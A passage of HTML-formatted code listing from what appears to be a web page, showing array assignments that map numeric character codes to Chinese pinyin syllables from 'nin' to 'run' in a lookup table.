&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15110&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;15109&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ning"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14941&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"niu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14937&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14933&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14930&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nv"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14929&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14928&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nue"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14926&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"nuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14922&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"o"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14921&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14914&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pa"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14908&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14902&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14894&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14889&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14882&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14873&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14871&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"peng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14857&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14678&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14674&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"piao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14670&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14668&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14663&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ping"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14654&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"po"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14645&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"pu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14630&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14594&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qia"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14429&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14407&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qiang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14399&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qiao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14384&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14379&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14368&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qing"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14355&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qiong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14353&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qiu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14345&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14170&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"quan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14159&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"que"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14151&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"qun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14149&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ran"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14145&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"rang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14140&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"rao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14137&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"re"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14135&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ren"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14125&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"reng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14123&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ri"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14122&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"rong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14112&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"rou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14109&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ru"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14099&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ruan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14097&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"rui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;14094&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"run"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
